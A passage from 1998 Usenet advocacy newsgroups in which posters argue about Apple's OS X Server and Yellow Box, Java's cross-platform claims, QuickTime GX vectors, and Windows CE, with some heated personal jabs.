>not let the countries buy into a closed platform, etc.)
My understanding is that India has relaxed tariffs on computer components to
encourage internal manufacture of PCs. That would impose a disadvantage on
companies that require exclusive manufacture. I guess Apple might get around
this by setting up an onshore assembly site. However, think of the
competitive disadvantage compared to local entrepeneurs assembling PCs.
>>We in the US are familiar with the software industry in India, as it is
>>becoming a major "export". However, there is also a booming business in
>>locally manufactured PCs, with some brands becoming known locally,
>>Presently, Apple has no position in this market. Cheaply produced PCs,
>>supported by MS and locally produced software dominates in one of the
>>world's fastest growing markets. This trend won't put Apple out of
business,
>>but will continue to isolate the business to one continent and to one
>>economic class. Apple needs to develop a response which comprehends the
>>need for locally produced, cheaply made hardware.
>
>
> Agreed, only cloning will work. Anyway, India might be a rapidly growing
> market, but is currently very small, probably a million PCs an year last
> year. Even if it doubles every year, Apple has an year or two before it
> becomes "too late" in the Indian market.
A friend of mine (now returning to India to set up his own software
business) stated it this way - presently only 5% of the Indian population
has enough disposable income to by a PC - and that's 5% of what?
> The major cost in the sub-$1000 PC is now the Windows operating system;
> and Microsoft is going to face a similar challenge, given that
> Linux offers an attractive alternative in India. Especially given that
> every autorickshaw driver dreams of becoming a software engineer --
> what better to learn programming on ?
I agree with you that linex is an atractive alternative in the emerging
countries. My point was, however, that software piracy makes software cost
less of an issue.
>-arun gupta
bobsun
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 27 Nov 1998 16:41:35 GMT
Organization: Primenet (602)416-7000
Message-ID: <73mknv$q24$1@nnrp02.primenet.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com>
<F33923.H85@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
: In <73kctc$cju$1@nnrp03.primenet.com> John Jensen wrote:
: > As it now stands Java is a better cross-platform development
: > environment because it is available and it is legal to sell Java
: > applications on multiple platforms.
: I'm not sure I can agree. We use it here at the office, and frankly the
: idea of x-platform running appears to be a myth for anything but the most
: simple projects. In the case in question Java working fine from one
: browser failed to run on "the other one" and vie versa. Yes, the promise
: is there, but it certainly doesn't deliver! In that respect I'd have to
: say that YB and Java are very similar indeed.
Java has sub-divided itself into (generally speaking) three catagories:
- server Java
- client Java (as stand-alone applications)
- client Java (embedded in web pages)
Of these the first is the most x-platform, just because it uses no UI.
The second is still pretty x-platform becuase you can just program to the
AWT. You do have to be aware that the various JVMs you encounter are not
equally "complete". Another thing to watch is the interaction of the Java
event model and the native peers. You have to be a little more watchfull
when programming Java than a more mature environment, but good programmers
are watchfull anyway.
The third is most difficult, because you have to program to the AWT and to
browser extensions. If you do as we do and try to support IE as well as
Navigator you have to do all kind of duplicated effort to do IE packaging
in "cab" and Navigator packaging in "jar". You have to do IE security and
Navigator security, etc. Basically you have to deal with all the pain
Microsoft managed to insert in the platform.
John
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: english@primenet.com
Organization: needs one
References: <*johnnyc*-2711981727050001@jchristie.halifaxcable.dal.ca> <B28483DD-9B4B@206.165.43.169>
Mime-Version: 1.0
Date: Sat, 28 Nov 1998 00:14:48 GMT
In <B28483DD-9B4B@206.165.43.169> "Lawson English" wrote:
> And here's a few things that are NOT in QT vectors:
Yup, predictable. Agrument for GX falls, I'll change the argument again.
Last week your argument was that cancelling GX was dumb because without
it you couldn't edit QTV. Thus we need to keep GX so we can work with QTV,
QTV is the reason to keep GX.
Now John points out that it's totally possible to use QTV without GX.
So now you change the argument, and now QTV is not "good enough", so we
need GX again.
Once again you clearly demonstrate the religious nature of the argument.
Maury
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 27 Nov 1998 16:57:02 GMT
Organization: Primenet (602)416-7000
Message-ID: <73mlku$qu7$1@nnrp03.primenet.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com>
<F33923.H85@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
: [...] In that respect I'd have to say that YB and Java are very similar
: indeed.
Another quick thought:
I still agree that OPENSTEP has been technically more advanced than Java
for much of history and may still be today. The key difference is that
Sun released Java "too soon" and let you decide when it is good enough to
support your product. I think most people here would like it if Apple
gave them the same choice with the Yellow Box.
John
Newsgroups: comp.sys.next.advocacy
From: mark@ns1.oaai.com (Mark Onyschuk)
Subject: Re: Do I have this right?
Message-ID: <slrn75ug9k.gk2.mark@ns1.oaai.com>
Sender: news@T-FCN.Net
Organization: M. Onyschuk and Associates Inc.
References: <iSG72.15689$aF1.15849@typhoon-sf.snfc21.pbi.net>
Date: Sat, 28 Nov 1998 00:16:20 GMT
In article <iSG72.15689$aF1.15849@typhoon-sf.snfc21.pbi.net>, me@me.me wrote:
[mostly accurate stuff snipped]
I think that the relationship between Carbon and YB is questionable - by
most accounts they're more peers than one being layered overtop of the other.
Some system services appear to be broadened quite substantially to make
this so - EQD for instance.
>What does this mean techonologically?
>
> - nothing new or interesting, but at least it's not
> NT or MS Windows APIs
Amen to that.
> - Java slowly replaces Objective-C, but both are technological
> dinosaurs.
And I've got to ask: By comparison to what exactly?! Last I checked, the
world was more or less caught in a tug of war between 4GLs like Visual Basic
and C++, two very ugly ends of a rather broad spectrum.
Mark
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
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Organization: needs one
References: <*johnnyc*-2711981727050001@jchristie.halifaxcable.dal.ca> <B28486B7-146CC@206.165.43.169>
Mime-Version: 1.0
Date: Sat, 28 Nov 1998 00:16:27 GMT
In <B28486B7-146CC@206.165.43.169> "Lawson English" wrote:
> So why would anyone NOT want to use the more powerful graphics system?
>
> Answer:
Because you've whined so much no one would ever touch it with a ten foot
pole.
> Adobe says so.
I thought it was the Zeta Reticulans? Hey Sculler, come take a look at
this...
Maury
Newsgroups: comp.sys.next.advocacy
From: mark@ns1.oaai.com (Mark Onyschuk)
Subject: Re: OS X Server Interface
Message-ID: <slrn75ugne.gk2.mark@ns1.oaai.com>
Sender: news@T-FCN.Net
Organization: M. Onyschuk and Associates Inc.
References: <73jgpn$rnn$1@nnrp1.dejanews.com> <73nch7$svj$1@nnrp1.dejanews.com>
Date: Sat, 28 Nov 1998 00:23:42 GMT
In article <73nch7$svj$1@nnrp1.dejanews.com>, spagiola@my-dejanews.com wrote:
>In fact, they're so far off the mark on many things, that I suspect they may
>have been deliberately fed misleading information in an effort to trace leaks.
Actually, just to illustrate how cynical I can get :-) I suspect that
they've been fed misleading information by Steve himself just so that OSX
Server is glossed by the masses in favour of OSX :-) which seems to be
the plan-du-jour.
Patiently waiting as far as the chequebook allows,
Mark
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
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Cc: english@primenet.com
Organization: needs one
References: <*johnnyc*-2711981727050001@jchristie.halifaxcable.dal.ca> <B28489C3-1FE34@206.165.43.169>
Mime-Version: 1.0
Date: Sat, 28 Nov 1998 00:23:16 GMT
In <B28489C3-1FE34@206.165.43.169> "Lawson English" wrote:
> One last little thing.
In a 95 line message. That's not little.
> Assuming that one already HAS a GX-based word-processor, page-layout
>or drawing app
Ahhh, all ten of them then. Let me ask you this, what GX based page
layout program do you OWN and use professionally?
> It's about 25 lines of code to convert the entire GX shape into a QT
> vector.
It's about 10 lines to turn english into Pig Latin.
> GX was designed to make it easy to create vector/bitmap/text-editing
> apps. QT was NOT.
"Easy" as in "several thousand pages of documentation that weighs about
20 to30 pounds". Funny definition of "easy", that.
> In other words, anyone who has a GX-based app has an
> app that creates full-featured GX drawings with device independence,
> while QT-based apps don't have printing capabilities and QT is NOT
> designed for content-creation.
Says you, which counts for basically nothing these days.
> WHy is this so difficult to understand?
Because you're an idiot?
> GX is IDEAL for doing ALL forms of content creation, both for DTP and
> multimedia.
So are a hundred other things.
> QT vectors is a subset of GX that is useful ONLY for
> playback.
Wrong.
> Content-creation is HARD by comparison, and only works for
> movies, not DTP.
Like PS then.
> Making GX multi-media-only is a STUPID idea
Ahhh, and you'd know I suppose, because of all those commercial GX based
graphics apps you've written.
> half a brain.
Excluding you then.
> It was designed for DTP and it is only because it is so
> powerful that it can be trivialized to multi-media-only.
Ahh yes, multimedia is trival in comparison to DTP! Ohhh, that one I'm
saving!
Useless source code snipped.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: The future of OS X Server is bleak
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Cc: mcgredo@otter.mbay.net
Organization: needs one
References: <199811251000.LAA32318@replay.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net>
<73kctc$cju$1@nnrp03.primenet.com> <gmgraves-2711981053300001@sf-usr0-13-77.dialup.slip.net>
<73n3s3$hnp$1@supernews.com>
Mime-Version: 1.0
Date: Sat, 28 Nov 1998 00:25:09 GMT
In <73n3s3$hnp$1@supernews.com> Donald R. McGregor wrote:
> Unsurprising, since the major tools for creating applications sucked
> matter from black holes.
Ha!
> You can do a few cute things in AWT, but
> you can't make serious applications easily.
Yes, AWT bites.
> Swing might change that;
Yes, Swing looks interesting. Proof positive (IMHO) that it's a design
issue, not a theoretical one.
> Now if Java just had categories (grumble grumble grumble).
Indeed. Even as an organizational tool it's useful.
Maury
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Date: 27 Nov 1998 16:57:29 GMT
Organization: University of Waterloo
Message-ID: <912185841.568838@watserv4.uwaterloo.ca>
References: <73iop0$29t@crab.afs.com> <jpolaski-2611981619230001@d149-109.ce.mediaone.net> <73l8ps$6r6@crab.afs.com>
Cache-Post-Path: watserv4.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <73l8ps$6r6@crab.afs.com>, Greg Anderson <greg@afs.com> wrote:
>
>I AM one of those developers who wasted their time. I am one of the oldest
>remaining NEXTSTEP/YB developers (over 7 years of experience), with two
>products -- a page layout app and a word processor -- just itching to ship
>on the Solutions CD that is intended to accompany the commercial release of
>OSX Server. There is virtually no one more qualified to talk about this
>situation than me.
>
Come on, Greg. Let the spirit of Steve Sarich fill you with anger and
vitriol. You know you want to.
BTW, who was the WebRex guy? Ted Shelton sticks in my mind but I have a
feeling that I'm confusing my history...
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Date: Fri, 27 Nov 1998 12:45:44 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <73moie$9v8@crab.afs.com>
References: <73iop0$29t@crab.afs.com> <jpolaski-2611981619230001@d149-109.ce.mediaone.net> <73l8ps$6r6@crab.afs.com> <365EE086.9A062BF0@ericsson.com>
Michael Peck wrote:
>As one of the polluters, it behooves me to affirm that Greg is, indeed,
>one of the *valuable* people here. Attacks like Jim's against someone of
>Greg's standing are totally uncalled-for.
Of course, these days my "standing" plus $5 will barely get you a Mocha
Cinnamon Double-caffe Half-caffe Espresso Latte with Extra Foam and a Jolt
Chaser at the better java shops on De Anza Boulevard. 8^)
Greg
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Date: Fri, 27 Nov 1998 13:00:18 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <73mpdp$a0o@crab.afs.com>
References: <73iop0$29t@crab.afs.com> <jpolaski-2611981619230001@d149-109.ce.mediaone.net> <73l8ps$6r6@crab.afs.com> <912185841.568838@watserv4.uwaterloo.ca>
David Evans wrote:
> Come on, Greg. Let the spirit of Steve Sarich fill you with anger and
> vitriol. You know you want to.
One of the great things about being surrounded by Quakers is that the spirit
of Steve Sarich never gets close enough to seize you.
> BTW, who was the WebRex guy? Ted Shelton sticks in my mind but I have a
>feeling that I'm confusing my history...
That's the guy. As I remember it, Ted had the equivalent of WebObjects
before NeXT, and NeXT did virtually everything in its power to put that
product out of business, including a revision of its basic license that made
Ted's product non-conforming. Chuck Swiger was working for Ted at the time,
and can supply the full story. It may be too long ago for DejaNews.
Greg
From: douyang@novice.uwaterloo.ca (Darwin Ouyang)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 27 Nov 1998 18:06:12 GMT
Organization: University of Waterloo
Message-ID: <912189971.759574@watserv4.uwaterloo.ca>
References: <7329lg$ot0$1@nnrp02.primenet.com> <Pine.SOL.3.96.981124191714.20775D-100000@cssun.rrze.uni-erlangen.de> <01be19df$731e0060$53f0ccc3@default> <73m6q7$8na$3@rznews.rrze.uni-erlangen.de>
Cache-Post-Path: watserv4.uwaterloo.ca!douyang@novice.uwaterloo.ca
In article <73m6q7$8na$3@rznews.rrze.uni-erlangen.de>,
Matthias Bethke <Matthias.Bethke@gmx.net> wrote:
>In comp.sys.amiga.advocacy Bj=F8rnar Bols=F8y <bbolsoey@rl.telia.no> wrote=
>:
>> I think you got things a bit wrong here. I started out by=20
>> saying that WinCE, for once, is something MS has done=20
>> right, you have now taken this into a little stand-off against
>> traditional PDAs.
>
>I could agree to "somewhat less screwy than other flavors of Windoze",
>but certainly not "right" for the intended market.
>
>> are not synonymous, WinCE is targeted at a wide=20
>> range of applications and hardware=20
>
>Even worse...
>
>> - one is powering car-MFDs=20
>
>...that sport no windows, no network, no disk, no nothing.
Go read up on WindowsCE's architecture. You can strip everything out of
the OS, except for the kernel. That's why it's designed for embedded
applications!
>> - one does great for the lab assistant in the field where=20
>> a traditional laptop would not suffice
>
>What does it do a traditional laptop can't do?
Smaller, lighter, much longer battery life.
>> - one is providing a familiar face for in-check kiosk=20
>> devices
>
>Kiosk devices where there is plenty of space for a real computer
>with a stable OS?
Cheaper.
>> - one is decoding your latest news headlines and=20
>> movies=20
>> - it might even power your vacuum cleaner one day
>
>"General Protection Fault in Module SUCK.DLL". Looking forward to it :-)
Hehe.
>> How about developing? WinCE supports over 500 Win32=20
>> APIs today which basically mean a familiar environment=20
>> for developers - translating to considerable reductions in=20
>> developing efforts.
>
>Theoretically that's a point for wince. Practically I don't see
>how palmtop/embedded applications developed with desktop concepts
>could work nearly as well as applications that received some thought
>about their special environment.
Go read up on WindowsCE. There has been a lot of though put in to adapting
Win32 for a compact environment.
>> WinCE supports 5 different filesystems, ROM, RAM and=20
>> FAT12/16/32, and can easily be scaled down by developers
>
>Including "lost chains" and such joys of Windoze? What about
>transaction-oriented FSs like the Newton's (and AFAIK the Pilot's
>too)?
Argh. The persistent RAM file sysetm is transactioned.
The FAT file systems are just for compatibility and are optional.
Read up on it before you slag it! (I hate when people slag what they don't
know about...)
Darwin Ouyang
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Fri, 27 Nov 1998 10:50:38 -0800
Organization: Graves Associates
Message-ID: <gmgraves-2711981050390001@sf-usr0-13-77.dialup.slip.net>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73jfcb$cef$2@sun27.hrz.tu-darmstadt.de> <gmgraves-2611981038390001@sf-usr0-43-107.dialup.slip.net> <nagleF326qt.E2A@netcom.com>
In article <nagleF326qt.E2A@netcom.com>, nagle@netcom.com (John Nagle) wrote:
> gmgraves@slip.net (George Graves) writes:
> >> gmgraves@slip.net (George Graves) wrote:
> >> >I've often wondered what the point of releasing OS-X Server actually is.
> >> >Apple says that there is never going to be anything beyond v.1.0, and that
> >> >OSX-Server won't have Carbon support, so basically what you get is an
> >> >OS which will run Yellow-Box apps, or current MacOS apps (in a container)
> >> >along with Java apps. Doesn't seem very compelling to me.
>
> True. Sounds rather like A/UX, doesn't it.
>
> What we still have from Apple is what we've had for the last five
> years; the old MacOS today, and a new OS forever two years away.
> Few in the developer community take Apple's OS announcements seriously
> any more.
>
> Anyone want to make up a timeline for all the instances of
> "Apple announces new OS - Apple changes name of new OS - Apple fails
> to ship new OS on schedule - Apple drops new OS"? That would be fun
> to have on a web page, especially with links to copies of old Apple
> press releases.
>
> John Nagle
There's no doubt that Apple has "cried wolf" a few times too many. But as
far as developers taking the OSX announcement seriously, apparently they
are. I have it on good authority that Illustrator 8.0 and PageMill 3.0 for the
Mac are already 'Carbon compliant'. A 5.0x upgrade to Photoshop will make
it Carbon compliant soon.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Fri, 27 Nov 1998 10:53:30 -0800
Organization: Graves Associates
Message-ID: <gmgraves-2711981053300001@sf-usr0-13-77.dialup.slip.net>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com>
In article <73kctc$cju$1@nnrp03.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> George Graves <gmgraves@slip.net> wrote:
> : In article <73hti4$73$1@nnrp02.primenet.com>, John Jensen
> : <jjens@primenet.com> wrote:
>
> : > As it now stands Java is a better cross-platform development environment
> : > because it is available and it is legal to sell Java applications on
> : > multiple platforms. The Yellow Box isn't a contender, not through any
> : > technical fault of its own, but simply because it is not available.
>
> : What a champion of the obvious you are.
>
> <chuckle> Better to champion the obvious than to ignore it. It was over
> a year ago (1997/09/03) when I posted:
>
> "OpenStep is certainly more polished than Java. I think the Yellow Box's
> OpenStep environment is a very good choice on technical grounds. The only
> problem is that it has a sole source with mercurial management."
>
> "I can buy Java development tools from IBM, Borland, Symantec, Microsoft,
> Visix, Sun, Metrowerks, SuperCede, and Lotus, as well as use free tools
> from the Linux community. A few of these companies can change their
> business plans and drop Java, and I can keep on going. There are multiple
> sources for run-time packages for Java on Windows, or Mac, or UNIX, so
> again if a company changes their business plan and drops a Java runtime, I
> can keep going. It's the benefit of an open, multiple source,
> environment."
>
> John
Where are all of the Java apps? I've been hearing about Java this and Java
that for more than 5 years now, and other than some limited web-related
stuff, I've yet to see a Java-built application that I can actually run on
either (never mind BOTH) my Mac and My Windows machines.
George Graves
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 27 Nov 1998 18:59:35 GMT
Organization: Primenet (602)416-7000
Message-ID: <73msqn$sb1$1@nnrp02.primenet.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com>
<gmgraves-2711981053300001@sf-usr0-13-77.dialup.slip.net>
George Graves <gmgraves@slip.net> wrote:
: Where are all of the Java apps? I've been hearing about Java this and Java
: that for more than 5 years now, and other than some limited web-related
: stuff, I've yet to see a Java-built application that I can actually run on
: either (never mind BOTH) my Mac and My Windows machines.
I mentioned in a earlier thread that our company has sold quite a bit of
it. I don't think we are the only ones.
John
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Fri, 27 Nov 1998 11:00:24 -0800
Organization: Graves Associates
Message-ID: <gmgraves-2711981100240001@sf-usr0-13-77.dialup.slip.net>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73i6rb$9rg$1@your.mother.com> <gmgraves-2611981054010001@sf-usr0-43-107.dialup.slip.net> <73kph1$ram$1@nnrp1.dejanews.com>
In article <73kph1$ram$1@nnrp1.dejanews.com>, malcolm@plsys.co.uk wrote:
> In article <gmgraves-2611981054010001@sf-usr0-43-107.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
> > Yellow-box) The whole idea of Yellow-box cross platform application
> > development seems to have died. Apple has not made ONE peep about
> > the Yellow-Box runtime libraries for either Windows
> >
> Umm, twaddle.
> WebObjects 4.0 is due out this week for NT.
So, you're saying that WebObjects is a Yellow-Box app, and that Apple
is shipping it with run-time libraries to allow it to run on NT? So,
after installing WebObjects on NT (to get the libraries), a WebObjects
user could then install tiFFany and other Yellow-Box apps, and have them
run perfectly as if they were NT native applications? Permit me to doubt.
George Graves
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 27 Nov 98 12:05:40 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B284461D-2BBFC@206.165.43.28>
References: <F33832.GJn@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B283A854-16F9D@206.165.43.110> "Lawson English" wrote:
>> Excuse me? You have an odd definition of "tenuous thread of supposition"
>> to
>> say this.
>>
>> What does this sentence mean?
>>
>> "We have a short list of what we don't want: OpenDoc" -Bill Gates, in
>> Government Exhibit 22, MS98 0167106
>
> And where's the proof that this is why Apple killed it? Or GX? Or
>anything else. Again, you say "Apple killed this because..." and then
>provide a whole bunch of unrelated items, yet fail to admit that Apple's
>killed a LOT of things that were not killed for the same reasons.
>
> Why did Apple kill PowerTalk? Because no one was using it. Why did
>Apple kill GX? Because no one was using it.
I can't speak for PowerTalk, but people NEED to use GX for several
important purposes, including using Creator2, AND for simple creation of
QuickTime vectors. To suggest that Apple has "obsoleted" GX simply because
"noone is using it" is to ignore its potential uses and the fact that it
was only 6 months ago that Apple hired an outside consultant to fix the
MacOS 8 printing issue.
If Apple had thought that no-one was using it, why did they hire someone to
fix a specific problem?
And Maury, I'd like to hear you describe how you would go about creating a
QT vectors editor WITH GX and without.
Here's how I would do it WITH GX:
1) Create a simple GX shape editor.
2) Create a simple translation mechanism from GX shapes (which are
identical in design to QT vectors, at least according the programming
manuals) to the QT vectors format.
I have "not a clue" how to accomplish (1) *without* GX handy, and in fact,
it looks to be quite difficult. Have you even read the relevant manuals to
see if I am correct or not, or are you merely attacking my stance on this
subject out of some knee-jerk reaction to me personally?
Without GX, the editing of QT vectors is nowhere near as easy as it is WITH
GX, or so it seems after my browsing of the QT vectors manual.
In fact, WITH GX, I can create an OSAX that will allow ANY application to
create such vectors, embedd them in a single-track QT movie and preview
them.
Please try doing this without GX.
And please try to tell me that this isn't a useful feature.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
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From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 27 Nov 1998 19:10:25 GMT
Organization: Primenet (602)416-7000
Message-ID: <73mtf1$sb1$2@nnrp02.primenet.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com>
<gmgraves-2711981053300001@sf-usr0-13-77.dialup.slip.net> <73msqn$sb1$1@nnrp02.primenet.com>
John Jensen <jjens@primenet.com> wrote:
: George Graves <gmgraves@slip.net> wrote:
:: Where are all of the Java apps? I've been hearing about Java this and Java
:: that for more than 5 years now, and other than some limited web-related
:: stuff, I've yet to see a Java-built application that I can actually run on
:: either (never mind BOTH) my Mac and My Windows machines.
: I mentioned in a earlier thread that our company has sold quite a bit of
: it. I don't think we are the only ones.
I did a little poking around. There are apparently 435 applications that
have been certified 100% Pure Java(tm). I would expect those to work on
up-to-date JVMs for your Mac and Windows machines:
http://java.sun.com/100percent/latestlist.html
There are of course more pure (but uncertified) applications out there as
well.
John
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: The future of OS X Server is bleak
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Cc: michael.peck@ericsson.com
Organization: needs one
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Date: Fri, 27 Nov 1998 19:14:28 GMT
In <365EE279.D5E5A5F2@ericsson.com> Michael Peck wrote:
> The cross-browser functionality of Java programs is considerably
> different from Java usage with a full-blown Java program.
Absolutely, but as it stands the only time I ever run into Java is in the
context of my browser.
My basic conclusion is that an OOPS system does not become _generally_
useful until it has both a good language and a good class library to work
from. To date many many languages have satisfied the former criterion, but
fall down on the second. For Java this is true today.
Maury
From: jpolaski@wwa.com (Jim Polaski)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Message-ID: <jpolaski-2711981326240001@d149-109.ce.mediaone.net>
References: <73iop0$29t@crab.afs.com> <jpolaski-2611981619230001@d149-109.ce.mediaone.net> <73l8ps$6r6@crab.afs.com>
Organization: Polaski P/D/C, 15 W. Hubbard, Chgo, IL
Date: Fri, 27 Nov 1998 13:26:24 -0600
NNTP-Posting-Date: Fri, 27 Nov 1998 13:26:24 CDT
In article <73l8ps$6r6@crab.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
> Jim Polaski wrote in message ...
> >greg, is is possible, just possible that I note a wee bit of "BIAS" in
> >your commentary?
> > [snip remainder of two messages]
>
> I'm gonna cut you a break for slamming me, because (1) it's Thanksgiving,
> and I'm feeling charitable; and (2) it's obvious you don't know who I am.
>
> I AM one of those developers who wasted their time. I am one of the oldest
> remaining NEXTSTEP/YB developers (over 7 years of experience), with two
> products -- a page layout app and a word processor -- just itching to ship
> on the Solutions CD that is intended to accompany the commercial release of
> OSX Server. There is virtually no one more qualified to talk about this
> situation than me.
=====
Greg, I've been reading this NG for quite some time. And having run a
business of my own for 25 years, I think I know a bit about the costs of
running a business. In fact, in my business, the very computer I prefer,
the Mac, is probably one of the largest factors in making my industry a
LOT harder to make a living in, simply because it has forced a
High-end/low-end stratfication. The middle ground bread and butter work is
largely gone, unless one pays the price for a digital arena that would
force an upgrade of $50-80,000. And since my prime business is largely
one-two man shops. That is a huge expense, teh upgarde of which is
ongoing.
My point is, this stuff happens. It is unfortunate? You betcha. Do I
sympthize? Of course, and I'm sure you want to get your stuff out the
door. Who wouldn't.
But, the way you presented the PC week article only shows anger, perhaps.
There are far too many wintellian trolls who come here making posts like
yours...and it looked to me like one of them. Sorry if I mistook you, but
to me there were no indicators.
...but the fact remains that M$ still had a lot do do with the delay and
the change from Rhapsody to MacOS X, not that Apples wanting to make it a
good OS isn't part of it too. From the stepwise reports I read, that's
part of it.
================
> Yeah, there are plenty of other turkeys in that article, but that's the only
> one that applies to me and the groups I posted to. Unlike the other people
> polluting these groups nowadays, I try to stay on topic.
>
> Greg
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 27 Nov 1998 19:34:28 GMT
Organization: Primenet (602)416-7000
Message-ID: <73mus4$skq$1@nnrp02.primenet.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com>
<F33923.H85@T-FCN.Net> <73mknv$q24$1@nnrp02.primenet.com> <F33H5G.Lnu@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
: [...]
: This seems like a rather silly appology for the current state of Java.
That isn't an appology. I was just trying to be honest. I was not trying
to overstate my position and imply that Java is in any way perfect. It
doesn't have to be perfect, it only has to be a little bit better than any
other available cross-platform develompent enviroinment.
: [...]
: My real issue here is that you're comparing the two and saying one is
: better than the other because it's available. I can't agree with that
: viewpoint. The reality is that Java shows many signs of turning into a
: truely powerful system in the future, but that's true of YB as well.
Well, that's where this thread started, with the questions of when and how
Apple planned to drive YB into the future.
: Sure, one has a higher instability rating, but that doesn't strike me as
